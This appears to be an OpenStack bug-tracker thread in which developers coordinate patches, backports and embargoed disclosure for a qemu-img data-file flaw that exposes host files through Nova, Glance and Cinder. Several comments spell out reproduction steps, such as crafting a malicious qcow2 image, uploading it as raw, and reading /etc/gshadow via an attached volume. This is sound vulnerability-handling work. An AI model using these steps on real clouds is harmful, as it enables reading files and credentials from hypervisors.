That plan will mean that anyone not in a position to have a patched qemu binary on disclosure day will be able to deploy just updated nova code and be protected, both for this and future feature-based exposures. Anyone that wants minimal change to their nova package and is able to depend on getting or building an updated qemu-img binary will also be protected against the data-file exploit with just the first small patch. Nova will plan to merge and backport both layers of protection.

[Jeremy Stanley (fungi)]

Thanks Dan. In earlier discussion with the QEMU developers, it wasn't clear whether they considered that behavior an actual security vulnerability or just a bug worth fixing, what their priority might be for backporting it to older QEMU releases, and what sort of timeframe we'd be looking at for downstream GNU/Linux LTS server distros to get those fixes into their respective packages. If they're just going to publicly announce there's a fix upstream in master and expect distros to eventually pick it up, that leaves many of our users in an unfortunate situation for a while, so being able to filter problem images without relying on calls to `qemu-img info` still sounds like the safer choice in the interim.

[Jeremy Stanley (fungi)]

Just as a heads up, from a timing perspective, I'll be on vacation tomorrow through May 13. If patches and backports for everything are ready by my return, I could handle doing advance downstream stakeholder notification as early as Tuesday May 14 with a projected public advisory on Tuesday May 21. If something comes up and we need to move faster on this, the other VMT members ( https://launchpad.net/~openstack-vuln-mgmt ) have been briefed and should hopefully be able to pick this up in my absence.

[Dan Smith (danms)]

Nova patch to check for data-file and trust qemu-img (requires patched qemu-img for safety).

[Dan Smith (danms)]

Additional nova patch to perform deep image inspection, reject unknown images, reject format mismatches, and only run qemu-img in format-targeted mode. Eliminates the need for a patched qemu-img to be safe.

[John Garbutt (johngarbutt)]

Dan, this approach makes sense to me.

One thing I am worried about is that you could claim to have a raw image via Glance, it validates as raw, but its actually a nasty qcow2 or vmdk image? Is that a problem here, I have probably just missunderstood how your patch handles that case?

(Part of me wonders if we need like the opposite of privsep to run some of these validation tools in, like spawn an isolated container to validate these bits. Clearly that isn't for this fix, and probably more effort than its worth, like replacing "sudo" with "podman")

[Sylvain Bauza (sylvain-bauza)]

@John, if you read patch #2 just proposed by Dan, we will refuse some image if the format is different from the one that was claimed.

Pasting the snippet here for worth the context :
+ disk_format = img['disk_format']
+ try:
+ # NOTE(danms): Use our own cautious inspector module to make sure
+ # the image file passes safety checks.
+ # See https://bugs.launchpad.net/nova/+bug/2059809 for details.
+ inspector_cls = format_inspector.get_inspector(disk_format)
+ if not inspector_cls.from_file(path).safety_check():
+ raise exception.ImageUnacceptable(
+ image_id=image_href,
+ reason=(_('Image does not pass safety check')))
+ except format_inspector.ImageFormatError:
+ # If the inspector we chose based on the image's metadata does not
+ # think the image is the proper format, we refuse to use it.
+ raise exception.ImageUnacceptable(
+ image_id=image_href,
+ reason=_('Image content does not match disk_format'))

In the case of a claimed RAW disk but actually a nasty QCOW2 image, the format inspector would raise that ImageFormatError exception so we wouldn't accept it.

I'm not an image specialist but I assume that when eating chunks of the QCOW2 image by the default format inspector (which is used for raw), we would spit the file due to the qcow2 headers in there.

Dan, can you confirm that assumption please ?
I can also doublecheck that with a devstack environment, if needed.

[Dan Smith (danms)]

John, you're right that if we claim it's a raw and pass something else that's bad. However, because of this code we'll (now) just treat it as raw. In this case we pass '-f raw' to the qemu-img command here and forever more down the line of dealing with the image. We already do that elsewhere, but this was the last place we weren't because we weren't strict enough about the input to this should-be-safe info operation. Thus if you put a qcow in a raw image, we'll inspect it as raw and find it to be raw, then pass to qemu-img with '-f raw' and it will say "yep, a raw" and treat it as such.

If you know of elsewhere in the code we don't pass the -f format explicitly to qemu-img, let me know, but when I looked this was the only remaining place.

I do have another routine in the glance code that runs the inspectors in parallel (which is not expensive since they're stream-based and very small) while it walks through enough of the file to satisfy them all. Basically a detection routine (i.e. what Sylvain is talking about), which we could use to say "aha, you said it was a raw, but it looks to me like a qcow!" We could certainly add that level of detection here, but it also has the potential for false positives, of course, so I feel like it's probably better to leave it out for now. We could add it later to nova as an extra layer if we want.

I'm planning to propose that to glance so that you can turn on deep inspection *inside* the upload pipeline such that it will reject images mid-stream if the safety check fails and/or if the image appears to be a format other than what you claimed.

Also, we did look at and discuss if there was a way to run qemu-img inside a privsep with no rights or something. However, what we really need is to run it inside a chroot. And even then, there's an exploit path which would instantiate the nbd driver inside qemu-img, which could then access local network resources, even if it was insulated from the rest of the host files.

[Sylvain Bauza (sylvain-bauza)]

I just discussed with Dan. As he just explained, even if the default format inspector won't check that it's another format but RAW, nova will know treat it as RAW and fail accordingly so we should be fine.

I also agreed on the Glance proposal he explained above (detecting the format in the upload pipeline) but for the sake of this CVE, this would only be an improvement and not be part of the CVE resolution.

[Jeremy Stanley (fungi)]

Just a reminder, we're approximately 3 weeks away from the 90-day maximum embargo time to which we attempt to adhere. Taking into account a week for advance notification to downstream stakeholders that means we have at most a couple of weeks remaining, leaving us very little time for last-minute concerns that may arise with the proposed fixes.

At this point, it sounds like we still need the Cinder maintainers to decide for sure how they want to approach the risks described in this bug report. Also we'll want backported attachments for Glance and Nova as far back as their stable/2023.1 (antelope) branches. We'll also need to revisit the draft impact description to make sure the affected version numbers are still correct.

[Dan Smith (danms)]

Jeremy, I think that should be all of the glance and nova patches for the relevant branches. Note that the glance ones depend on a backport being done in the open, which should be all merged well in advance:

https://review.opendev.org/q/I7d63951ff080dc699b8d11babc0a5998d90621e4

I think we should also delete the oldest patches to avoid confusion at this point right? (i.e. the nova.patch, cinder.patch, glance.patch files).

[Dan Smith (danms)]

I've added Abhishek to this to handle the Glance patches from here on.

[Dan Smith (danms)]

I've added Luigi Toscano to help with testing the full stack of patches.

[Brian Rosmaita (brian-rosmaita)]

Following up on comment #115, adding Luigi's work Launchpad persona to this bug.

[Jeremy Stanley (fungi)]

Thanks for your hard work on this, everyone!

Just a friendly reminder that in order to avoid blowing our 90-day maximum embargo time, the latest we can comfortably send downstream stakeholder advance notification is Thursday, June 20 (two days from now). We'll need final patches/backports for all affected services at least somewhat tested and agreed upon before then, so that they can be attached to the communication we send.

[Dan Smith (danms)]

I've added Nick Tait to the bug who is in our product security group.

[Jeremy Stanley (fungi)]

Last minute revisiting of the affected versions in comment #39 indicates it needs to be adjusted for new releases as follows due to end of maintenance for stable/zed and additional point releases in some projects:

affected-products:
  - product: Cinder
    version: '<22.1.3, >=23.0.0 <23.1.1, ==24.0.0'
  - product: Glance
    version: '<26.0.1, ==27.0.0, >=28.0.0 <28.0.2'
  - product: Nova
    version: '<27.3.1, >=28.0.0 <28.1.1, >=29.0.0 <29.0.3'

Please let me know if you spot any errors with the above. I'll also add a note about there being no new point releases for unmaintained/yoga and unmaintained/zed branches if patches for them are included.

[Jeremy Stanley (fungi)]

I've officially sent advance notification to our downstream stakeholders (including the linux-distros mailing list) just now indicating we'll publicly disclose this with an advisory on Thursday, 2024-06-27 at 15:00 UTC.

[Jeremy Stanley (fungi)]

Also, per our usual pre-OSSA process, I'm subscribing any of them who request access to the bug report, so there will be at least a few new subscribers added in the coming days leading up to publication.

[Martin Kaesberger (mkaesberger)]

Above are details of the security vulnerability in QEMU. Do you want to remove them before new subscribers are added or has this been agreed lm with the QEMU project?

[Mohammed Naser (mnaser)]

It seems there's some other outstanding context about qemu-ing and a patched version of it, is it my understanding that the patches provided _do not_ require the patched qemu-img?

[Jeremy Stanley (fungi)]

Martin: From the QEMU maintainer communications on which I was copied and subsequent discussion with them, I was led to understand that they do not consider it a vulnerability in qemu-img since they never intended the info subcommand to be used on untrusted image files, and that they were simply refraining from mentioning that fact publicly out of courtesy to OpenStack until we release our advisory and patches.

Mohammed: Correct, the Glance and Nova patches attempt to avoid passing untrusted image files to `qemu-img info` calls, so should shield those services from any related risks posed by that tool. There is still some outstanding work to be done in Cinder in order to make it similarly paranoid, but the current patches should sufficiently address the subject of this specific bug report, and we collectively wanted to avoid dragging the embargo out past our 90-day promise. Any related bug fixes released by the QEMU maintainers are still strongly recommended from a belt-and-braces/defense-in-depth perspective, but coordinating simultaneous patching between the two communities was deemed nontrivial and they strongly encouraged OpenStack to solve this class of problems itself by no longer relying on QEMU to be robust against untrusted image files.

[Nick Tait (nickthetait)]

Could I invite two of my ProdSec colleagues: jitendra-ahuja & zmiele?

[Martin Kaesberger (mkaesberger)]

Jeremy: After your request for a discussion at RedHat, they issued CVE-2024-4467 and preparee a patch I forwarded to you. My expectation was that there is coordination happening I'm not part of.
I'm on vaccation.

[Jeremy Stanley (fungi)]

Nick: Sure, I've subscribed them both just now.

[Jeremy Stanley (fungi)]

Martin: My understanding is that there was some direct communication between OpenStack and QEMU developers in which I was not directly included, but that the end result did not substantively change the timeline nor the approach OpenStack needs to take in order to address this class of risks.

[Pavlo Shchelokovskyy (pshchelo)]

hi all, couple of very minor problems noted with patches that were sent out:

glance
- 4 patches in a series, seems like two vmdk-related unit tests from patch 3 leaked into patch 2, thus patch 2 on its own can't pass CI
- patch 4 has flake8 problem in test_image_conversion.py on line 210 - missing empty line

nova
- second of two patches has problems with autopep8 in format_inspector.py, four missing empty lines detected.

Nothing major, but better to be fixed before the disclosure date so that we do not spend time fixing it on CI :-)

[Martin Kaesberger (mkaesberger)]

Jeremy: Uh, okay. Can you notify them of the schedule so that they can plan their disclosure?

[Kurt Garloff (kgarloff)]

As expected, the exploit via cinder works easily as well:
* Create the evil data-file qcow and register the image as described in the original report
* Create a volume from the image: openstack volume create --image evil --size 1 evil-vol
* Attach the volume to a server to inspect it: openstack server add volume server evil-vol
* Read from /dev/sdb and see the file. (I always use /etc/gshadow as a protected file that does not have sensitive information on most systems, so I don't get to expose anything sensitive in testing.)

I want to note that I would prefer cinder to take the same route as glance and nova do to avoid relying on a fixed qemu-disk info.

[Luigi Toscano (ltoscano)]

Just for the record, I've tested the exploit for cinder described in #131 and the only difference is that the file is taken from wherever the cinder volume used to create that volume runs (in my case, a container on one of the controllers), while the exploits described initially which involve nova and glance exposes files from the nova compute node.

[Mohammed Naser (mnaser)]

Do we need to push efforts on our side to help with the Cinder patch to be similar to the Glance/Nova side of things?

This is concerning and it doesn't feel like we fixed the whole story :(

[Jeremy Stanley (fungi)]

To summarize the comments since downstream stakeholder notification:

Pavlo notes that the Glance and Nova patches need minor adjustments for tests and style before they'll be able to pass our CI jobs.

Kurt, Luigi and Mohammed raise concerns that the supplied patches for Cinder to merely reject QCOW2 images specifying a data file are insufficient to prevent related file disclosure risks, and are offering to assist the Cinder maintainers in completing a more robust solution similar to those for Glance and Nova.

Martin recommends we notify the QEMU maintainers that we're planning to publish our advisory this week. I'll try to find out who was in communication with them last, or worst case I'll re-insert myself into the earlier E-mail discussion which they'd previously dropped me from. If anyone reading this already knows the state of those conversations, it would be better to get QEMU representatives subscribed to this bug report so I don't have to work around Gmail's dislike for independently-run mailservers.

[Dan Smith (danms)]

Pavlo: Thanks for that catch - developing something this large in isolation without Gerrit is hard :/

I'll attach new glance patches in a few minutes, please give them another check over as the last ones were generated many weeks ago and are what our tests are currently running on.

[Dan Smith (danms)]

Test leakage and pep8 fixed

[Felix Huettner (felix.huettner)]

Hi everyone, i assume i have found another exploit path:

1. Create the malicious image using qemu-img
2. openstack image create --disk-format raw --file malicious.qcow2 malicious-image
   * this will upload the image to glance
   * since disk-format is specified as raw glance will treat it as raw and basically not check anything
   * note that image conversion is not enabled here
3. openstack server create --image malicious-image exploited-server --flavor c1.1
4. The server will start spawning on the hypervisor
5. nova downloads the image and uses `/usr/bin/python3 -m oslo_concurrency.prlimit --as=1073741824 --cpu=30 -- env LC_ALL=C LANG=C qemu-img info /var/lib/nova/instances/_base/254082e79b0aa7619ff786b5860c71b2a63dd7dc.part --force-share --output=json -f raw` to get some kind of information. This is still save
6. nova then tries to create a qcow2 file for the server based on this base file. Here the information on the format seems lost. I see the following calls in the nova-compute log:
```
/usr/bin/python3 -m oslo_concurrency.prlimit --as=1073741824 --cpu=30 -- env LC_ALL=C LANG=C qemu-img info /var/lib/nova/instances/_base/254082e79b0aa7619ff786b5860c71b2a63dd7dc --force-share --output=json

and

env LC_ALL=C LANG=C qemu-img create -f qcow2 -o backing_file=/var/lib/nova/instances/_base/254082e79b0aa7619ff786b5860c71b2a63dd7dc,backing_fmt=qcow2,cluster_size=65536 /var/lib/nova/instances/8e144dbd-9f6f-4c4c-9388-aa71d6193408/disk
```

note the call to "qemu-img info" without a specific format and the wrong backing_fmt afterwards (should be raw).

I assume we need to patch nova/virt/libvirt/utils.py:create_image to take an expected backing_file format.

While this was tested on zed the code on master looks like it would have the same issue.

I'll try to build a patch for this as well, but no idea how long i will take.

[Dan Smith (danms)]

Felix, we previously had an effort (years ago) to fix passing the input format to all the places, but perhaps another has cropped back up (it's a complicated code path), I'll have a look, thanks.

[Dan Smith (danms)]

Indeed, the long-ago backing-file attack CVE was incomplete and didn't account for this situation where we have a qcow2 masquerading as a raw. If it escapes our initial download check due to the format difference, we will do a format-less detection of its format and information and hook up an ephemeral disk to it as a result invite the same problem. The same situation arises with the data-file check.
I'm attaching an additional patch for nova that plugs this whole class of issue by also running the safety check on the base image each time we go to use it, which will catch this case even for deployments where such an image has already infiltrated the local node's image cache. To do this (without massive changes in nova) it brings over another piece of proposed code from glance's format_inspector that provides a safe format detection routine.

I'll work on the backports next, but I'm putting this here so it can get earlier testing and approval. Felix and others, please do test this comprehensively as it's now very fresh.

I'm keeping this separate for the moment because some distros that have already backported the earlier patches want to just apply additional changes without redoing their backports.

(edited for additional fix)

[Thomas Goirand (thomas-goirand)]

Hi,

At this point, I would suggest to postpone the disclosure date. Indeed, it's even unclear to me what the patchsets are. Once I figure it out, I'll have to backport up to Victoria. It was a real pain to do so for Glance as it needed extra patches from the project history to be able to apply the CVE patch (but it went fine for Nova and Cinder).

FYI, for Glance/Victoria, here's the list of patches that were needed to backport so that the CVE patch could apply, applied in this order:
Id613cfd61760c383c7c3cc6aea3f37eecb5ed4d9: Make action wrapper support arbitrary properties
I8f1d03275e6ec51a802cc4b4107f3ab648f535a1: Add missing fail case tests for image_conversion
I575dbc45781aaed521aeb5ef085322ad2018f378: Make image_conversion use action wrapper
I299a222eeef81431143db3ba7fc08365c924326b: Utilize newly added tasks database fields
I3ec5a33df20e1cfb6673f4ff1c7c91aacd065532: Limit CaptureRegion sizes in format_inspector for VMDK and VHDX
 VMDK
I7d63951ff080dc699b8d11babc0a5998d90621e4: Support Stream Optimized VMDKs

After these 6 patches applied, the cve-2024-32498-glance-stable-2023.1.patch needs to be applied by hand (it wouldn't apply without a manual rebase), and then some more patches are needed that I'm attaching here.

Note that it took me 2 full working days to reach that point and get no unit test failures. If we were to add more patches, please make them on top. I'm currently trying to run functional tests, and it's going to take some time to run them as well. It already took me 1 full day of work to get my CI back to working for Victoria ... :(

For Nova and Cinder, I'm fine with revised patches, though please allow enough time for backporting to earlier releases. Upstream OpenStack limitation to Antelope as the last supported release is far from enough for our users, I do intend to fix Glance, Nova and Cinder in both Bullseye (Debian 11) and Bookworm (Debian 12), meaning Victoria and Zed for the official releases, but also all intermediate releases between them. That's 8 releases that I'll have to work on, for 3 projects: that's a total of 24 patch-sets. 2 days to get that work seems unreasonable to me, especially if I'm not even sure what's the final patch-sets.

BTW, can someone summarize what I need to do, compared to the original pre-OSSA?

Cheers,

Thomas Goirand (zigo)

[Thomas Goirand (thomas-goirand)]

Applying the last patch from Dan on top of Caracal leads to:

FAIL: nova.tests.unit.virt.libvirt.test_driver.LibvirtConnTestCase.test_create_ephemeral_specified_fs_not_valid
FAIL: nova.tests.unit.virt.libvirt.test_driver.LibvirtConnTestCase.test_create_images_and_backing_ephemeral_gets_created

for both tests, with something like this:
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/tmp0iiv1mgj/tmpjjv_2y0d/_base/57c8c6cf4558757978871a43cfd2838f53a2e41d'

so no-go ... :(

[Felix Huettner (felix.huettner)]

@Dan on #147: the patch seems to solve the issue we found and i did not observe other issues when using it.

I am not sure if it is the nicest approach since we try to guess a value that we could also get from the image metadata. But that is something than can still be changed later on.

Thanks a lot

[Sylvain Bauza (sylvain-bauza)]

Thomas, the nova patch 85a248b62cdc4cf6cc415e6c32c9c4a8f6c80913 "Additional qemu safety checking on base images" probably misses some mock on the detect_file_format method that was added in the patch, hence the above test failures.

I'm just reviewing the new patch.

[Felix Huettner (felix.huettner)]

Hi everyone, i think we have another exploit path.

1. Create some normal server and login to it
2. Create an empty volume (on the backend the volume must be created as raw and not as qcow2)
3. Attach the volume to the server
4. Write a malicious qcow2 file to the volume from the VM (so that qemu-img info /dev/vdb works)
5. Create a snapshot from the volume
6. Create a new volume from the snapshot
7. Attach the new volume to the same VM

On our side this fails with the following traceback, but it just need the backing file to be writeable.
I'll try to find out why the volume is not attached as raw, but maybe someone knows more.

Traceback (most recent call last):
  File \"/usr/local/lib/python3.10/dist-packages/oslo_messaging/rpc/server.py\", line 165, in _process_incoming
    res = self.dispatcher.dispatch(message)
  File \"/usr/local/lib/python3.10/dist-packages/oslo_messaging/rpc/dispatcher.py\", line 309, in dispatch
    return self._do_dispatch(endpoint, method, ctxt, args)
  File \"/usr/local/lib/python3.10/dist-packages/oslo_messaging/rpc/dispatcher.py\", line 229, in _do_dispatch
    result = func(ctxt, **new_args)
  File \"/usr/local/lib/python3.10/dist-packages/nova/exception_wrapper.py\", line 65, in wrapped
    with excutils.save_and_reraise_exception():
  File \"/usr/local/lib/python3.10/dist-packages/oslo_utils/excutils.py\", line 227, in __exit__
    self.force_reraise()
  File \"/usr/local/lib/python3.10/dist-packages/oslo_utils/excutils.py\", line 200, in force_reraise
    raise self.value
  File \"/usr/local/lib/python3.10/dist-packages/nova/exception_wrapper.py\", line 63, in wrapped
    return f(self, context, *args, **kw)
  File \"/usr/local/lib/python3.10/dist-packages/nova/compute/utils.py\", line 1439, in decorated_function
    return function(self, context, *args, **kwargs)
  File \"/usr/local/lib/python3.10/dist-packages/nova/compute/manager.py\", line 211, in decorated_function
    with excutils.save_and_reraise_exception():
  File \"/usr/local/lib/python3.10/dist-packages/oslo_utils/excutils.py\", line 227, in __exit__
    self.force_reraise()
  File \"/usr/local/lib/python3.10/dist-packages/oslo_utils/excutils.py\", line 200, in force_reraise
    raise self.value
  File \"/usr/local/lib/python3.10/dist-packages/nova/compute/manager.py\", line 201, in decorated_function
    return function(self, context, *args, **kwargs)
  File \"/usr/local/lib/python3.10/dist-packages/nova/compute/manager.py\", line 7338, in attach_volume
    do_attach_volume(context, instance, driver_bdm)
  File \"/usr/local/lib/python3.10/dist-packages/oslo_concurrency/lockutils.py\", line 414, in inner
    return f(*args, **kwargs)
  File \"/usr/local/lib/python3.10/dist-packages/nova/compute/manager.py\", line 7335, in do_attach_volume
    with excutils.save_and_reraise_exception():
  File \"/usr/local/lib/python3.10/dist-packages/oslo_utils/excutils.py\", line 227, in __exit__
    self.force_reraise()
  File \"/usr/local/lib/python3.10/dist-packages/oslo_utils/excutils.py\", line 200, in force_reraise
    raise self.value
  File \"/usr/local/lib/python3.10/dist-packages/nova/compute/manager.py\", line 7333, in do_attach_volume
    return self...

[Felix Huettner (felix.huettner)]

The issue from the comment before is caused by the cinder NfsDriver (and potentially any other remotefs driver as well). cinder/volume/drivers/nfs.py:initialize_connection calls _qemu_img_info without specifying a format. The then detected format is shared in the connection_info of the attachment which nova then uses as BDM information and to mount the disk.

The same issue might also happen in _copy_volume_from_snapshot for the NFS driver.

There are at least 25 calls to _qemu_img_info in cinder volume that do not provide the expected types.

Maybe we can use the same fix as @danms built for nova

[Felix Huettner (felix.huettner)]

Attached is the fix for the previous two comments. I am aware that it fails some unittests (due to mocking) but it solves the issue for us.
I am not sure if this might break some other functionality, since we basically now disallow backing files for everything that "qemu-img info" is used on.
I will not patch it further until i have some feedback on this.

It is basically what @danms built for nova just adapted to run before qemu-img info.

However this does (probably) not prevent the general mounting issue as qcow2. So you can still create a volume, fill it with a qcow2 header and on re-attaching it will be attached as qcow2 instead of raw. Potentially you can use this to create a volume with a larger size than what cinder thinks the size is. I assume this can lead to billing issues.

[Dr. Jens Harbott (j-harbott)]

Some more notes:

- I tested the "option 2" from the bug description and it is also working, haven't seen that mentioned before.
- The exploit for nova only works when the option DEFAULT/force_raw_images is True (which is the default). If I set this to False, there is always an error about failing to open the data_file when qemu is being started by nova, not sure if there would be a way to work around that with sufficient trickery.
- With force_raw_images=True I think it is also not possible to get to write any data to the data_file, because nova always converts the base image to raw.
- When trying to exfiltrate data from another instance running on the same host by specifying its disk image as data_file, nova gets confused and throws an error because the converted-to-raw file then still is another qcow2 file.

So in general the impact is: Data extraction from the hypervisor (or the server running the cinder-volume service) is possible, which is very bad, but maybe not quite as bad is it could have been. I still wonder how a responsible disclosure could look like, that doesn't instantaneously but all running clouds at risk. Would a pre-warning urging operators to temporarily disable image uploads help? Should it mention qcow2 or might that be too much of a hint? (And also possibly not enough given what Felix has found?)

I'm also not convinced that the announcement should be delayed too much, but surely the patches should be in a working, stable state. So maybe do a pre-announcement on Thursday (to give us time to find the proper wording) and the full disclosure one week later?

[Sylvain Bauza (sylvain-bauza)]

@Dan, indeed the libvirt tests are failing due to a missing mock because both of the tests are calling self.create_image() in nova/virt/libvirt/imagebackend.py which then calls format_inspector.detect_file_format().

Do you need me to provide a new revision for it ?

[Felix Huettner (felix.huettner)]

The previously described before works as follows even with the above patch:

1. Create some normal server and login to it
2. Create an empty volume (on the backend the volume must be created as raw and not as qcow2)
3. Attach the volume to the server
4. Write a thin provisioned qcow2 file with a large virtual size to the volume from the VM (so that qemu-img info /dev/vdb works). The virtual size can be significantly larger than the current size of the volume
5. Create a snapshot from the volume
6. Create a new volume from the snapshot
7. Attach the new volume to the same VM

Observe how the volume in the vm shows the new virtual size and you can use this virtual size completely.
However cinder shows the size of the original volume (as the size is taken from the snapshot value).

I don't think we can fix this nicely, as long as we do not persistently store the disk_format through any kind of operation (snapshots, backups, etc.) and never rely on format detection.
However i attached a fix based on comparing the size of the disks. I am however not sure of it's side effects (also probably some tests fail).

Maybe it would also be better to split this out to another private issue, to not make this even more complex?

[Pavlo Shchelokovskyy (pshchelo)]

@Dan, I quickly tested your new unified patches for master of nova (#140) and glance (#136), all looks good, every patch in the series should now be able to pass CI on its own.

The additional Nova patch (#147) indeed has problems with absent mocks for format detection method in two tests as already mentioned by Thomas and Sylvain (#149,#151,#156)

[Dan Smith (danms)]

Felix, we can't trust the image metadata (as you highlighted) and we also have been instructed by the qemu team that we really shouldn't be running qemu-img (even in info mode) on untrusted images. They're cooking up a patch for qemu-img to patch this one issue, but there could be other problems in the future.

Sniff-testing the image to see if it claims to be one thing but is actually a legit other format is what qemu-img does(when you don't force it to be treated as something specific), but my code is doing it in a safe way. Thus, I think that's the approach we need to take for the future.

If you mean that nova should be able to record the original intended format of a base image and continue to treat the image as that (i.e. raw even if it smells like a qcow) then I agree, but that's a much larger change.

I'll have a look at the unit tests. I had run them locally but was trying to get something that actually worked here ASAP (which is why I haven't posted backports yet) for testing. Thanks for confirming it works!

[Kurt Garloff (kgarloff)]

@Ffelix.huettner:
The exploit in #157 is purely a billing issue, but does not compromise the integrity or confidentiality of your cloud, correct?
If so, we should of course still deal with it, but maybe as a separate issue?

[Kurt Garloff (kgarloff)]

If we sneak in a data_file reference by writing it to the disk (/dev/vdb or /dev/sdb), we would still be protected, as every place where the image/snapshot/... is read is now checking for the non-existence of data_file feature, correct?

[Felix Huettner (felix.huettner)]

@danms: yea i meant that we need to record the original format. But yes, i agree that this is a lot larger.

@kgarloff #160: fine with me as well, yes it is only billing and potentially capacity planning issue

@kgarloff #161: if you include #154 then at least i could not find any more exploitable path

[Dan Smith (danms)]

Updated nova additional patch for master. The only change is two mocks for unit tests to pass. All unit, functional, and pep8 targets are passing.

[Thomas Goirand (thomas-goirand)]

Hi Dan!

Thanks, this versions passes unit tests for me in the Caracal branch. I'll be attempting backports.

Do you think we're done for the Nova side of things? It's my understanding that Cinder isn't fully fixed yet... How about glance?

Cheers,

Thomas Goirand (zigo)

[Dan Smith (danms)]

@zigo glance is good, nova is good as far as I know (meaning, all the cases reported are covered now and confirmed by others). I think that the cinder patch from Felix means cinder is covered, but it would be good to hear from Cinder people that it's suitable from their perspective and get the backport patches going.

[Thomas Goirand (thomas-goirand)]

Dan, can you write backports of your Additional_qemu_safety_checking_on_base_images.patch then? I've seen that the function _test_create_image in test_utils.py, in previous versions, has less mock patches, and doesn't even exist in Victoria. If you could backport it as far as possible, that'd be great.

As for Felix's patch, I'm worried about the fact there's many qemu-img info calls everywhere in Cinder, as mentioned earlier in this thread.

Last, can I make a 2nd call for postponing the disclosure? We still don't have definitive patches (or just got them), and it's taking me a lot of time to backport to 4 or 5 more OpenStack releases. Yet alone doing functional testing to check the regressions. I consider one week of backport + tests to be an ok-ish deadline when we have definitive patch-sets, but that's not what's going on with this issue.

[Dan Smith (danms)]

Zigo, the patch applies cleanly for me back to 2023.1 but yeah, I'm working on running tests on those now.

[Jeremy Stanley (fungi)]

Based on feedback so far due to the additional exploit paths and subsequent patch revisions/amendments which have arisen since the downstream stakeholder advance notification I sent on Thursday, are there any objections to delaying our disclosure by 5 days to 15:00 UTC Tuesday 2024-07-02 in order to give stakeholders more time to integrate updated patches?

We can't delay by more than a week because we've notified the linux-distros mailing list, and they impose a two-week limit for publication. We should also avoid issuing an advisory on July 4 (or the day prior), since it's a major holiday for many of the developers participating in this bug who we'll need available to push and approve the patches in code review at that time.

Note that delaying disclosure is not without some added risk, since there's a chance that not all downstream stakeholders who were previously notified also see the revised disclosure date before they publish something following the original timeline. Further, it puts us 4 days past our self-imposed 90 day maximum embargo time on reports of suspected vulnerabilities, which we try very hard to avoid exceeding.

If there are no strong objections posted in the next 4 hours (before 20:00 UTC today), I'll send a reschedule notification to all downstream stakeholders along with a promise to follow up no later than Thursday with finalized patches.

[Jeremy Stanley (fungi)]

Brian, Eric, Gorka, Jon and Rajat: As the subscribed cinder-coresec representatives for the Cinder team, can one of you please review Felix's patches in comments #154 and #157 as soon as possible?

[Dan Smith (danms)]

Additional patch for nova, backported to 2024.1

[Dan Smith (danms)]

Additional patch for nova, backported to 2023.2

[Dan Smith (danms)]

Additional patch for nova, backported to 2023.1

[Dr. Jens Harbott (j-harbott)]

O.k., more trouble: the patch for glance is using the output of "qemu-img info" in order to decide whether to reject the image, which I though was to be avoided? In addition, when using a file that is not world-readable as data_file, that command will simply error out with:

$ qemu-img info ~/devstack/disk.qcow2
qemu-img: Could not open '/home/ubuntu/devstack/disk.qcow2': Could not open '/etc/sudoers': Permission denied

and thus the check will not trigger and consequently will still accept the malicious image.

[Dan Smith (danms)]

The first glance patch adds the check from qemu-img yes, but the later ones add the format_inspector-based approach which should run before the qemu-img check. Do you have all of them applied? If qemu-img is patched, then the first patch which checks the qemu-img output is technically sufficient to close the hole, but if you don't have that, the last patch in the series is the one that checks with format_inspector first.

Even still, if qemu-img fails to run we should fail to complete the conversion and the image should (I think) stay in queued or importing state. Is that what you mean by "still accept the image" or do you mean image conversion fails and we ingest all the way to active anyway? If so, that's probably a bug in image_conversion, but I'd have to ask other glance people what they expect.

Also note that the glance part of this is fully mitigatable by disabling the image_conversion plugin. Not even sure how widely used that is.

[Dr. Jens Harbott (j-harbott)]

O.k., maybe I'm misunderstanding something about the intention of the glance patch. I was expecting it to stop the exploit workflow at the "openstack image create" stage by not allowing the uploaded image to become active, but actually the creation succeeds without error afaict. All four patches from #136 applied. I also don't think image conversion is involved here, just a direct upload of a qcow2 image, right? Simple devstack deployment from master without any changes to local.conf.

[Dan Smith (danms)]

No, in upload mode (i.e. the mode everyone uses to get images into glance) there is no glance-specific attack since glance doesn't look at the image at all. In the future, I'll plan to make the format_inspector look for this and reject the upload mid-stream, but that has all kinds of error-handling issues that I don't want to address in this kind of emergency patch. So, in "image create --file foo" glance should happily accept the image and nova should refuse to do anything with it if you try.

However, glance has an "import" operation, where you upload the image to a staging directory, then "import" it into the actual store. In that mode, it is possible to enable the image_conversion plugin which causes glance to use qemu-img to transform the image from, say, qcow2 to raw, or vmdk to qcow2. That's the case where you can exploit glance here - if import is enabled and image_conversion is enabled, then you can also get glance to do bad stuff. If none of those are enabled (likely a lot of deployments) then glance itself isn't directly exploitable, it will just hold the bad stuff.

Basically in regular upload mode, you can upload anything you want to glance at all and it doesn't care if it's wildly incorrect. I suspect this event will justify a rethink of that approach :)

[Kurt Garloff (kgarloff)]

Jens (re #175): Indeed, the protection happens when images are used, not when they are registered.
That's why we have to patch glance (image *conversion*, not registration), cinder (turning images into volumes) and nova (converting images before booting from them). It would be easier to throttle this at ingestion (image registration) time. But then we'd also need to plug the snapshot hole that Felix reported, so it might not reduce complexity a lot. Maybe we'd want both layers of protections for a defense-in-depth approach anyhow.
(#176) And I agree with Dan that adding functionality to really analyze images at registration time would be more intrusive, so not such a good choice for an emergency patch that needs to be heavily backported.

(#168) Jeremy: I think it's good to delay here, as sufficient time for backporting and testing is a requirement.

(#155) As for the rollout:
* This bug has the potential to turn trusted clouds into clouds where all credentials need to be exchanged. I wonder whether disabling image registrations and snapshots (sigh!) will need to done by providers if patching all hosts takes them too long.
* With the information in this bug report, it takes less than 10minutes to exploit, I fear. (8 minutes reading and understanding and then 1min for qemu-img, openstack image create, openstack volume create --image.)
* I would very much love to have a few hours where I can -- under NDA -- hand the fixed code (fixed kolla images in our case) to our providers (without a lot of detail, so they'd need to reverse engineer) for them to deploy before all details get public and we have to expect exploitation within minutes ... This would help not just us, but all organizations that have personal relationships with their providers such that the trust to uphold an NDA for a few hours is a safe bet. I understand this would diverge from how this is normally done.
* If that is not possible, I guess I would love to see some delay between the embargo lift and the publication of the details that make exploitation rather trivial. (This gives us an hour or so, as people will need to analyze the patches and work out what the fixed problem really was and how to exploit it.)
* If none of this is possible, we will have strong requests from our providers to be invited here. I could actually support this for the individuals that I would also take under NDA, but it may become hard to draw the line as this will become a more common request and this may then not make us all safer ...

[Jeremy Stanley (fungi)]

Kurt: We do notify and supply upstream patches to any public OpenStack cloud providers who express interest, not just representatives of distributions.

